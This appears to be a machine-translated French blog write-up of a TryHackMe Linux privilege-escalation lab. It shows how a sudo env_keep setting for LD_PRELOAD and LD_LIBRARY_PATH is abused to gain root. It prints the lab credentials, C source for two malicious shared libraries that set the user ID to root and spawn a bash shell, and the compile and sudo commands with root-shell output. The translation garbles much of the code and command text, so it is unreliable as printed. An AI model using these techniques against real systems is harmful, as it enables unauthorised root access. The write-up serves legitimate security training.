Cette fois, nous essaierons d'escalade des privilèges à l'aide des variables d'environnement Linux "LD_PRELOAD" et "LD_LIBRARY_PATH".
La machine cible utilise la pièce ci-dessous de Tryhackme.
"Tryhackme-Linux Privesc: https://tryhackme.com/room/linuxprivesc "

Cet article est la partie 4.
Si vous souhaitez consulter l'écriture pour Linux PRIVSC avec TryhackMe, veuillez également consulter l'élévation du privilège à l'aide de gtfobins




Préparation
Tout d'abord, démarrez la machine cible et connectez-la à la machine cible.
Démarrage de la machine cible
Tout d'abord, démarrez la machine cible.
Rejoignez "TryhackMe-Linux Privesc: https://tryhackme.com/room/linuxprivesc

Si l'adresse IP s'affiche comme ceci, le démarrage est OK.

Connexion SSH
Connectez-vous à la machine cible que vous avez commencé à utiliser SSH.
Comme expliqué, c'est OK tant que vous pouvez vous connecter à l'aide de "User: Password321".
└─ $ ssh user@10.10.6.35 L'authenticité de l'hôte '10 .10.6.35 (10.10.6.35) 'ne peut pas être établie. L'empreinte digitale de la clés DSA est SHA256: p2nssfvyjvk1qe0tsnx5g2h8aawyrn71jdz3ueodbma. Cette clé n'est connue par d'autres noms, êtes-vous sûr de continuer à vous connecter (oui / non / [empreinte digitale])? Oui Avertissement: Ajout en permanence '10 .10.6.35 '(DSA) à la liste des hôtes connus. user@10.10.6.35's: Linux Debian 2.6.32-5-AMD64 # 1 SMP TUe 13 mai 16:34:35 UTC 2014 X86_64 Les programmes inclus avec le système Debian GNU / Linux sont un logiciel gratuit; Les termes de distribution exacts de chaque programme sont décrits dans les fichiers individuels dans / usr / share / doc / * / copyright. Debian GNU / Linux ne comporte absolument aucune garantie, dans la mesure permise par la loi applicable. Dernière connexion: ven 15 mai 06:41:23 2020 De 192.168.1.125 User @ debian: ~ $ sudo -l correspondant aux par défaut pour l'utilisateur sur cet hôte: Env_Reset, Env_keep + = ld_preload, Env_keep + = LD_LIBRARY_PATH
"-ohostkeyalgorithms = + ssh-rsa" doit être ajouté
Élévation des privilèges à l'aide de variables d'environnement
Les variables d'environnement vulnérables sont "ld_preload" et "ld_library_path".
Une brève explication est la suivante:
- LD_PRELOAD: Utilisé pour précharger les bibliothèques. En spécifiant une bibliothèque partagée, il est possible de charger (ou d'exécuter) la bibliothèque partagée avant d'exécuter un programme.
- LD_LIBRARY_PATH: Spécifie la liste dans laquelle les bibliothèques partagées sont recherchées. En spécifiant le répertoire où se trouve le fichier de bibliothèque, ce répertoire peut également être recherché.
Élévation du privilège à l'aide de LD_PRELOAD
Maintenant, je vais essayer d'utiliser "ld_preload" pour obtenir des privilèges racine.
Tout d'abord, vérifiez quels programmes peuvent être exécutés avec Sudo.
Vous pouvez voir que 11 programmes peuvent être exécutés avec Sodu.
user @ debian: ~ $ sudo -l correspondant aux inscriptions par défaut pour l'utilisateur sur cet hôte: Env_Reset, Env_keep + = ld_preload, Env_keep + = ld_library_path l'utilisateur peut exécuter les commandes suivantes sur cet hôte: (root) nopasswd: / usr / sbin / root) nopasswdwd: / usr / bin / find) / / bin / nano (root) nopasswd: / usr / bin / vim (root) nopasswd: / usr / bin / man (root) nopasswd: / usr / bin / awk (root) nopasswd: / usr / bin / moins (root) nopasswd: / usr / bin / ftp (root) nopasswd: / usr / bin / ftp (root) nopasswd: / usr / bin / ftp (root) nopasswd: / usr / bin / ftp (root) nopasswd: / usr / bin / ftp (root) nopasswd: / usr / bin / ftp) (root) nopasswd: / usr / sbin / apache2 (root) nopasswd: / bin / Plus
Nous créerons une bibliothèque partagée qui sera chargée à l'avance.
Cependant, je pense qu'il y aura à l'avance "preload.c" sur la machine cible, donc je vais le compiler.
Il semble que Preload.C est un programme qui exécute un appel système et génère un shell "/ bin / bash".
utilisateur @ debian: ~ $ cat /home/user/tools/sudo/preload.c #include<stdio.h> #inclure<sys/types.h> #inclure<stdlib.h> void _init () {unsetenv ("ld_preload"); setResuid (0,0,0); système ("/ bin / bash -p"); }
Générez la bibliothèque partagée à partir de Preload.c.
Utilisateur @ debian: ~ $ gcc -fpic -shared -NostartFiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
Une fois que vous l'avez créé, lors de l'exécution d'un programme qui peut être exécuté avec Sudo, spécifiez ld_preload et exécutez-le.
Utilisateur @ debian: ~ $ sudo ld_preload = / tmp / preload.so Recherchez root @ debian: / home / user # whoami root
Vous avez pu devenir un utilisateur root.
Élévation du privilège à l'aide de LD_LIBRARY_PATH
Ensuite, nous essaierons également d'escalade des privilèges à l'aide de "ld_library_path".
Tout d'abord, exécutez la commande "LDD" à Apache2 pour afficher les dépendances sur les bibliothèques partagées pour vérifier les bibliothèques partagées.
user @ debian: ~ $ ldd / usr / sbin / apache2 linux-vdso.so.1 => (0x00007fff84ee8000) libpcre.so.3 => /lib/x86_64-inux-gnu/libpcre.so.3 (0x007fba94c5c000) libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007fba94a38000) libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007fba94a38000) libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 => /usr/lib/liba (0x00007fba947fe000) libpthread.so.0 => /lib/libpthread.so.0 (0x00007fba945e2000) libc.so.6 => /lib/libc.so.6 (0x00007fba94276000) libuUid.so.1 => / /libuuid.soid.1 (0x00007fba94071000) libt.so.1 => /lib/libt.so.1 (0x00007fba93e69000) libcrypt.so.1 => /lib/libdl.so.1 (0x00007fba93c32000) libdl.so.2 => / /libdl.so.2 (0x00007fba93a2d000) libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007fba93805000) /lib64/ld-linux-x86-64.so.2 (0x00007fba95119000)
Il y a quelques dépendances, mais cette fois, nous créerons la même bibliothèque partagée que "libcrypt.so.1" et essayer de le charger.
Tout d'abord, créons une bibliothèque partagée.
Le contenu de "Library_Path.C" est le suivant:
Ce que vous faites n'est pas différent avant.
utilisateur @ debian: ~ $ cat /home/user/tools/sudo/library_path.c #include<stdio.h> #inclure<stdlib.h> statique void hijack () __attribute __ ((constructeur)); void hijack () {unsetenv ("ld_library_path"); setResuid (0,0,0); système ("/ bin / bash -p"); }
Créez une bibliothèque partagée nommée "libcrypt.so.1" à partir de "Library_path.c" ci-dessus.
L'emplacement de stockage est "/ TMP".
user @ debian: ~ $ gcc -o /tmp/libcrypt.so.1 -shared -fpic /home/user/tools/sudo/library_path.c
Lorsque vous exécutez APACHE2 avec Sudo, spécifiez le "/ tmp" stocké plus tôt dans LD_LIBRARY_PATH.
user @ debian: ~ $ sudo ld_library_path = / tmp apache2 apache2: /tmp/libcrypt.so.1: aucune information de version disponible (requise par /usr/lib/libaprutil-1.so.0) root @ debian: / home / user # whoami root root
Je pense que cela a permis à Root de dégénérer les privilèges!
résumé
Cette fois, j'ai essayé d'escalade des privilèges en utilisant les variables d'environnement Linux "LD_PRELOAD" et "LD_LIBRARY_PATH".
Le contenu était qu'en générant / bac / bash shell et en l'exécutant avec Sudo, vous pouvez obtenir le shell racine, mais je me demande si c'est possible. . . J'étais tout simplement intéressé.
Références et sites
Medium ( Shamsher Khan ): https://infosecwriteups.com/linux-privesc-tryhackme-writeup-bf4e32460ee5